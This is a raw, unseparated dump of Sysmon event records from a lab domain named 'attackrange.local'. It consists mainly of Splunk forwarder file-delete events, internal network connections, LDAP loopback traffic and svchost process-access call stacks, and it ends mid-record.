23542300x800000000000000057421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:57.222{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=64B7B4BDE1D95C0F81DA14AF822A9DF6,SHA256=4DAE1A5912AFA51B26E5D6243ACCB483FA4C95DE7D3D7CA845AA35E8FF7DCD7D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:57.222{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FF4C8F68FB550DA177AD85A3ABA4A51F,SHA256=4D6702A9EAA9DA1166B0ECC5FEB87E32771918292959C1C59B2C7A72AE122FD6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:56.478{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63205-false10.0.1.12-8000- 23542300x800000000000000057429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:58.831{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=55E219300FA365E8D875771B88A81BC2,SHA256=4175C23C9B7A9AA7EE1DD1F930ECD1AEAE2379E2258CBE45C2D751D997034F1B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018439Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:55.602{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50426-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000018438Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:58.267{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=326620AF9F38764CC35A90480C640AD5,SHA256=139EFD4BC797C1E50016DCF358EF9B611028C4CFC0E2B8808887210AED0F4A1E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:59.941{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47008CD07839B1D61179097AA1EBD76C,SHA256=57CA9D4F1587E8454FC04E6495931FBD90234F5ADAEF553AAF617E03A79FF737,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018441Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:58.446{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50427-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018440Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:59.282{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=66FFB6C5CE3558C1CF1535AFD07783EF,SHA256=625953483EA2AC7C00199B25CE079C84C0464B1B228835B79B9031C36724CDA1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:59.503{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=64B7B4BDE1D95C0F81DA14AF822A9DF6,SHA256=4DAE1A5912AFA51B26E5D6243ACCB483FA4C95DE7D3D7CA845AA35E8FF7DCD7D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018442Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:00.298{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D34FF023F3BBDFD0DFE8AA33DF4FC561,SHA256=67525923ABBAA30ECB48333D790D91B74BA89E9682613791CDCBB22ACE09305A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:57.760{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63206-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000057434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:57.760{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63206-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000057433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:57.374{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63201-false104.46.162.226-443https 23542300x800000000000000018443Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:01.329{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FFEA62F63FD2342D439988137D35B910,SHA256=5540F653B4495B534DBCAE07150C8369AA1DCD3BC9AA7C989F62734410EA97E0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:01.113{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=805270A8368AD9CD12D625B6DBBC9C5D,SHA256=2C5668E054D8998AAF1BA64729601F639603EB9603EFFC16490A071924DB0456,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:02.222{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D4CDEE92B1EEE453D33E5E549601EA4C,SHA256=783CC527E540023DE6C9C608411164D77D36D54A90266771093A8474A49E17AC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018445Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:02.407{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=0FB10A1198066296F978CFE4AC390387,SHA256=A424B5504AA760B08C5A2CBA7DF6DDC444EAA3B90DC30A6FB681C581849240C1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018444Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:02.329{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68516A199DDF4AAF27ED765EA06114F6,SHA256=AF25D0C84A58A4FAF2E5C570C1EE845C48EAF3AC9AF5F895B9EEE9628685CDDC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:03.441{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A85BAA1E8496DACB9DE4A97D589E0DCB,SHA256=5D226818CA885674A85E1EB176D94BDC6F8D48C653DD4BCAC4A2FDDAA9DC8434,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018446Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:03.345{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D85FEC28413D29CE5A3467C2F51C2E2,SHA256=E997B7675A4C02F7C50103E206FEBDE875CF80ACA00814ADE515D5C78824B939,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:04.675{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=51A9C35CFFDCDC233AD3ADA12E3E83AD,SHA256=ABE1F1D9F7357F05EE26B2C666AE83F5315D63F60298B2F193D86FCB0A0A5A32,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018450Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:04.876{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018449Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:04.876{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018448Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:04.876{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1600-00000000F101}1056C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000018447Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:04.361{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=804389E413FCE79557DD36D23A3AC0DA,SHA256=2B3DB5CBBB38C323591202A150B721231D99158F1BB111DBAACE8DFE2498F131,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:05.753{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DFC907C34042C341E284DE7A7C53838D,SHA256=5F9BF244040322A77C5EEFA03442813D49FD4167341F9BD604229D20E6C7AD57,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018452Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:03.446{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50428-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018451Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:05.392{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=68B4AC0155D0B27BB04F9D386F550454,SHA256=82170818E3F2CA39C13887EE5F0909C65D425742ADBE03685435E111BBAD87CE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:02.431{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63207-false10.0.1.12-8000- 23542300x800000000000000057442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:06.769{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C3748BD933C70E7DE63AD5F908882E68,SHA256=E35794F58C8D97ECB24913062DB10106F7719579E88E897D89FCE6ADEC01228E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018453Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:06.408{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5876B582F088609817AAAFC4BA91FEA3,SHA256=15520179FD8C9A7DAA6384DD3164895BF757B3F480676F7C44E441259EFDCD90,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018454Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:07.454{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=64D3CD1ADFFA247DF1780F798DDC82B9,SHA256=680EB12A49F0A48050EFF2E789CA3E4EAD00E95C8DE68B16F547FD12DA6AC4A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018455Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:08.501{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC94E01D7F2B5C1E3652AA933167344F,SHA256=420EC2843363C1B00025C82348DC1416DAF0C43C091073D2EC70C52DDBE5C9B0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:08.222{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=590E11488293C2435AF7BEBA8142BC4D,SHA256=FCB24B6C0E7C3A0A36958EABFF29E52F7CA42CDB12A1F47BE3D163F60BA85C32,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:08.222{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2F7511A3BA513AFA0AA49D5651E2F7C2,SHA256=D3DBBA30E4A23753CCA94C2E514DB54E7E61582D7547657B8281E3430BE9CC00,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:08.003{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5918E49C7093FE367AF748D8DDEA795B,SHA256=0BF24EFA1724E753CFC503BCED70EA3D5FE673B776CA55368A89F3E729F8515D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018456Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:09.501{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A07F21D51AD0AFB6598D4E3157809035,SHA256=5498A9B6354B43589558D0BC01EE4603E73E725E1315FB2919A0567F9C446700,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:09.019{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D12A6B1F257D08E94B58E9B36592880C,SHA256=1ADA11A0B2C06DDFA811FE4E5C2ADBE64452BB2CA707AD363D139448C81A9884,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018458Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:09.415{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50429-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018457Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:10.517{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=72B3F8266601CE078163404B055EC60F,SHA256=11E0FA166D17B5E06A3D8FB860B9C8604B0253E98E7969BCDBBB0DBC7A85E1C5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:08.337{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63208-false10.0.1.12-8000- 23542300x800000000000000057447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:10.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2402F5ECD313BBD4F9511BE942AE15B,SHA256=68965892EE6CC37E0C474AF723D7C886C91FF0311A86E2121231CEB844B94A94,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018459Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:11.536{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37A11E2C89F5B0CE5719F76BB71E91E0,SHA256=48BD3C116E266D23775BD7ADD4DAB59C97927B6073AC64C17E2395B44AFD8CC3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:11.097{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB4AC12BF7B4631D781241A0199BEAAB,SHA256=9D229A18BB651084DA8533A5341050B8A3AE4388E6D086A51940AF019E656B77,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018460Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:12.568{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D220FC95BA49D04A1C436299542D93F,SHA256=581E93ECA76D8C41F406EB8E20841E2D4B9DD2BF36DF0E81E4F239EA28C5292F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:12.147{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90D80D6410427383D0D974B47055E8C8,SHA256=4E48D8E48D37CC6364E82886813FE67E6FD8134C2E3EF469C29FCA4721CD8EB2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018461Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:13.583{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40CC7ECD9419EADEE9DEE0EE650C61E1,SHA256=1D8288673245C4819C158B389FC697F14205525C0EF00713A9C5C00F77BEC9C7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:13.210{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=580EABB194F199CF7E3AA3E6CB1DDE7C,SHA256=23B48B2EC5DD301C9CC39321D6685C8E87ACF8E3B4802C328B44D927210991E0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018462Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:14.583{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92A523950826DC205AA0E725E5D8F049,SHA256=A8F233D464F5D8E5666BDE8B95A31B4452CA29C855BE758A5B1A1341BA10FC3D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:14.241{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 